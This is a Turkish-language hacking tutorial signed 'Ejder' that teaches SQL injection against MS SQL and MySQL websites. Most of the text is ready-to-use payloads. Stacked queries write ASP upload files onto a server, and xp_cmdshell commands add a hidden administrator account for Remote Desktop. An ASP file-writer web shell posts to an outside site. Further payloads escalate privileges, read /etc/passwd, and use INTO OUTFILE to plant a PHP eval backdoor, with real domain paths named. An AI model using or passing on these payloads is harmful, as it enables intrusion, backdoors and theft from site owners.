insert into fso (txt,id) values ('<%Public Property Get Error()><%Error = psError%><%End Property%><%Public  
Property Get ContentTypeOf(ByRef avKeyIndex)%><%Dim lnIndex%><%lnIndex = IndexOf(avKeyIndex)%><%if  
lnIndex = -1 Then Exit Property%><%ContentTypeOf = oFields(lnIndex).ContentType%><%End Property%><%Private  
Sub Class_Terminate()><%Dim lnIndex%><%For lnIndex = 0 To nFieldCount - 1%><%Set oFields(0) =  
Nothing%><%Next%><%End Sub%><%Private Sub Class_Initialize()><%Dim lnBytes%><%Dim  
lnByteCount%><%Dim lnStartPosition%><%Dim lnEndPosition%><%Dim loDic%><%Dim lnBoundaryBytes%><%Dim  
lnBoundaryStart%><%Dim lnBoundaryEnd%><%Dim lnDispositionPosition%><%Dim lsFieldName%><%Dim  
lsFileName%><%Dim lnFileNamePosition%><%Dim loField%><%Dim lsValue%><%Dim  
lsContentType%><%nFieldCount = 0%><%ReDim oFields(-1)%><%lnByteCount = Request.TotalBytes%><%lnBytes =  
Request.BinaryRead(lnByteCount)%><%lnStartPosition = 1%><%lnEndPosition = InstrB(lnStartPosition, lnBytes,  
CStrB(vbCr))%><%If lnEndPosition >= lnStartPosition Then%><%lnBoundaryBytes = MidB(lnBytes, lnStartPosition,  
lnEndPosition - lnStartPosition)%><%End If%><%lnBoundaryStart = InstrB(1, lnBytes, lnBoundaryBytes)%><%Do Until  
(lnBoundaryStart = InstrB(lnBytes, lnBoundaryBytes & CStrB("--")))%><%ReDim Preserve  
oFields(nFieldCount)%><%nFieldCount = nFieldCount + 1%><%Set loField = New clsField%><%lnDispositionPosition =  
InstrB(lnBoundaryStart, lnBytes, CStrB("Content-Disposition"))%><%lnStartPosition = InstrB(lnDispositionPosition,  
lnBytes, CStrB("name=")) + 6%><%lnEndPosition = InstrB(lnStartPosition, lnBytes, CStrB("===="))%><%lsFieldName =  
CStrU(MidB(lnBytes, lnStartPosition, lnEndPosition - lnStartPosition))%><%loField.FileName =  
lsFieldName%><%lnFileNamePosition = InstrB(lnBoundaryStart, lnBytes, CStrB("filename="))%><%lnBoundaryEnd =  
InstrB(lnEndPosition, lnBytes, lnBoundaryBytes)%><%If Not lnFileNamePosition = 0 And lnFileNamePosition <  
lnBoundaryEnd Then%><%lnStartPosition = lnFileNamePosition + 10%><%lnEndPosition = InstrB(lnStartPosition,  
lnBytes, CStrB("===="))%><%lsFileName = CStrU(MidB(lnBytes,lnStartPosition,lnEndPosition-  
lnStartPosition))%><%loField.FileName = lsFileName%><%lnStartPosition =  
InstrB(lnEndPosition,lnBytes,CStrB("Content-Type")) + 14%><%lnEndPosition =  
InstrB(lnStartPosition,lnBytes,CStrB(vbCr))%><%lsContentType = CStrU(MidB(lnBytes,lnStartPosition,lnEndPosition-  
lnStartPosition))%><%loField.ContentType = lsContentType%><%lnStartPosition = lnEndPosition + 4%><%lnEndPosition  
= InstrB(lnStartPosition,lnBytes,lnBoundaryBytes)-2%><%lsValue = MidB(lnBytes,lnStartPosition,lnEndPosition-  
lnStartPosition)%><%loField.BinaryData = lsValue & CStrB(vbNull)%><%loField.Length =  
LenB(lsValue)%><%Else%><%lnStartPosition = InstrB(lnDispositionPosition, lnBytes, CStrB(vbCr)) +  
4%><%lnEndPosition = InstrB(lnStartPosition, lnBytes, lnBoundaryBytes) - 2%><%lsValue =  
CStrU(MidB(lnBytes,lnStartPosition,lnEndPosition-lnStartPosition))%><%loField.Value = lsValue%><%loField.Length =  
Len(lsValue)%><%End If%><%Set oFields(UBound(oFields)) = loField%><%lnBoundaryStart = InstrB(lnBoundaryStart +  
LenB(lnBoundaryBytes), lnBytes, lnBoundaryBytes)%><%Set loField = Nothing%><%Loop%><%End Sub%><%Private  
Function CStrU(ByRef psByteString)%><%Dim lnLength%><%Dim lnPosition%><%lnLength =  
LenB(psByteString)%><%For lnPosition = 1 To lnLength%><%CStrU = CStrU & Chr(AscB(MidB(psByteString,  
lnPosition, 1)))%><%Next%><%End Function%><%Private Function CStrB(ByRef psUnicodeString)%><%Dim  
lnLength%><%Dim lnPosition%><%lnLength = Len(psUnicodeString)%><%For lnPosition = 1 To lnLength%><%CStrB =  
CStrB & ChrB(AscB(Mid(psUnicodeString, lnPosition, 1)))%><%Next%><%End Function%><%End Class%>,3)
```

En son Scriptimizi yazdirmaya geldi ☺

www.hedefsite.com/news.asp?id=1;declare @txt varchar(8000);select @txt = (select top 1 txt
from fso where id =1);declare @o int, @f int, @t int, @ret int exec sp_oacreate
'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out,
'd:\www.ntc.edu\courses\OLAssess\clsUploadtest.asp', 1 exec @ret = sp_oamethod @f,
'writeline', NULL, @txt

www.hedefsite.com/news.asp?id=1;declare @txt varchar(8000);select @txt = (select top 1 txt
from fso where id =2);declare @o int, @f int, @t int, @ret int exec sp_oacreate
'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out,
'd:\www.ntc.edu\courses\OLAssess\clsUpload_1.asp', 1 exec @ret = sp_oamethod @f,
'writeline', NULL, @txt

```
www.hedefsite.com/news.asp?id=1;declare @txt varchar(8000);select @txt = (select top 1 txt from fso where id =3);declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'd:\www.ntc.edu\courses\OLAssess\clsUpload_2.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, @txt
```

Gordugunuz gibi 'd:\www.ntc.edu\courses\OLAssess\clsUploadtest.asp' , 'd:\www.ntc.edu\courses\OLAssess\clsUpload_2.asp' ve 'd:\www.ntc.edu\courses\OLAssess\clsUpload_1.asp' dosyalari olusmaktadir. Burdaki uzantilari serverda sizin bulmaniz gerekir. Site, server da hangi dizinde ? oldugunu bilmeniz gerek. Bununla ilgili gerekli sql kodlari kullananiz gerekir. Daha sonra yukleme islemi bittiginde ise, www.hedefsite.com/clsUploadtest.asp seklinde ulasip, EFSO kodunuzu yada istediginiz shell kodlarinizi yukleyebilirsiniz.

Uzak Masaustu baglantisi acma:

```
www.hedefsite.com/news.asp?id=1;exec%20master..xp_cmdshell 'net user ejder 123456 /add';--
```

```
www.hedefsite.com/news.asp?id=1;exec%20master..xp_cmdshell 'net localgroup administrators ejder /add';--
```

Boylece, ejder adinda kullanıcı acip, şifresi ise 123456 olan. Onu administrator grubuna ekledik. Remote Desktop Connection ile bağlanabilirsiniz artık..

Sizlere basit bir Shell kodlari verecegim. Yukardaki islemde 3 tane yuklenmekteydi. Simdi bunu 1 taneye donusturursek.

```
<form action="http://www.blueline-ind.com/1.asp" method="post">
<input name="Dosya" type="text">
<textarea size=44 name="KOD"></textarea>
<input type="submit" name="Submit" value="EJDER'le">
</form>
<%if not request("mod")=1 then%>
<form action="ejder.asp?mod=1" method="post">
<input name="Dosya" type="text">
<textarea name="KOD"></textarea>
<input type="submit" name="Submit" value="EJDER'le">
</form>
<%else%>
<%a= request.form("KOD")%>
<%b= request.form("Dosya")%>
<%Set objFSO = CreateObject ("Scripting.FileSystemObject")%>
<%Set MyFile = objFSO.CreateTextFile(b, True)%>
<%MyFile.write a%>
<%MyFile.close()%>
```

```
<%response.write "ok"%>
<%end if%>
```

<form action="http://www.blueline-ind.com/1.asp" method="post"> yazan yerde site adi ve nerden ulasilacagini gorursunuz. Bunu yuklediginizde ve calistirdiginizda, bir ufak FSO nesnesi ile calisan shell yuklenmis olacak... Tek yapmaniz gereken, duzenleyip Hex koda donusturmeniz.

Remote Baglanti acmak;

```
and 1=convert(int,system_user)—
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int. /Including/general.asp, line 840

```
;select * from openrowset('sqloledb',';',';')—
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server. /Including/general.asp, line 840

```
;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec
sp_msdropretry 'xx update sysusers set sid=0x01 where name="dbo",'xx' exec
sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name="guest",'xx' exec
sp_executesql N'drop view dbo.test'—
```

No result expected, normal page loading Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell

```
;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec
sp_msdropretry 'xx update sysusers set sid=0x01 where name="dbo",'xx' exec
sp_msdropretry 'xx update dbo.test set xstatus=18 where
name="BUILTIN\ADMINISTRATORS",'xx' exec sp_executesql N'drop view dbo.test'—
```

```
;exec master..sp_addsrvrolemember 'nhaxinh',sysadmin –
```

```
;select * from openrowset('sqloledb',';',';')—
```

Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'. /Including/general.asp, line 840

```
;exec master..xp_regdeletevalue
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','Ena
bleSecurityFilters'
```

```
;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=',
'set fmtonly off exec master..sp_addextendedproc xp_cmd,"xpsql70.dll" exec sp_configure
"allow updates", "1" reconfigure with override')
```

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns. /Including/general.asp, line 840

Mysql : bir başka veri tabanı sistemi mysql'dir. Büyük bi çoğunlukla php siteler kullanır. Şunu en başta söyleyeyim php'de update olmaz. Php sitelerde boşuna update denemeyin.

Yapabileceklerini eğer veri tabanı kullanıcısı yetkili değil ise Access ile yapacaklarınızdan ileri geçemez. Union select ile veri çekebilirsiniz. Mysqlde injection kelimeleri arasına /**/ konur. Aslında bu bir şart değildir ama mysqlde /**/ sonlandırma anlamına geliyor sanırım.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,2,3/*

bu şekilde kolon sayısını tutturmaya çalışıyoruz. Dikkat ederseniz kolon sayısını tutturmaya çalışırken tablo adı yazmamıza gerek yok.

Eğer yetkisimiz var ise mysql yada information_schema veri tabanlarından veri çekebiliriz. Mysql.user tablosunda kullanıcı adı ve şifre bilgileri bulunur. Tabi şifre hashlenmiş olarak tutulur. 4.1 öncesi sürümlerde 16 byte ile şifreliyorlardı 4.1 ve sonrası sürümlerde 41 byte ile şifreleniyor. Bu şifreler ancak brute force ile kırılabilir. information_schema.tables tablosundan ise tablo ve kolon adlarını öğrenebilirsiniz. Ayrıca load_file() fonksiyonu ile dosya okuyabiliriz.

[www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,load_file\('/etc/passwd'\),3/*](http://www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,load_file('/etc/passwd'),3/*)

mesela bu şekilde etc passwd dosyasını okuyabiliriz. Eğer magic_quotes_gpc özelliği on ise ' karakteri /' dönüştürüleceği için text olarak yazarak bu yöntem çalışmayacaktır. O zaman char() fonksiyonunu kullanıyoruz. /etc/passwd yazısının karakterlerinin tek tek ascii kodlarını yazarak bu yöntemi uygulayabiliriz.

[www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,char\(47,101,116,99,47,112,97,115,115,119,100\),3/*](http://www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,char(47,101,116,99,47,112,97,115,115,119,100),3/*)

bu yöntemi ayrıca sanal dizin biliniyorsa sitenin dosyalarını okumak içinde kullanabiliriz.

/home/www/public_html/ gibi.

Mysql'de sorgu sonucunu bir dosyaya yazdırma olayı var. Fakat sanal dizin bilinmek zorundadır. Bu işi into outfile komutuyla yaparız.

www.hedefsite.com/news.php?id=1/**/union/**/select/**/0,0,'d osyaya_yazdirilacak_kod
'/**/from/**/users/**/**/INTO/**/OUTFILE/**/'/home/www/www.h
edefsite.com/public_html/xxx.php?/*

burada 'dosyaya yazdirilacak kod yerine' rfi yiye küçük bir kod parçacığı yazılarak
kendimize bir rfi yolu açabiliriz.

PHP de şifreleri verir:

-1%20union%20select%200,0,load_file('/etc/passwd'),0,0,0,0,0%20from%20mysql.user/*

Shell yikleme:

-

1%20union%20select%20"<?%20\$a%20=%20\$_GET['a'];%20eval(stripslashes(\$a));%20?>"
,0,0,0,0,0,0%20from%20mysql.user/**/limit/**/0,1/**/into/**/outfile/**/'/var/www/html/citr
oen.yaz.com.tr/documents/basin/w.php'/*

Shelle yuklendikten sonra kullanimi -> ejder.php?a=passthru('ls');

Etc password dosyasini okuma:

-1/**/UNION/**/SELECT/**/0,1, load_file('/etc/passwd'),3/*

Ejder tarafından düzenlenmiştir.

Contact: ejder@savsak.com

www.savsak.com

Ejder Was Here ;)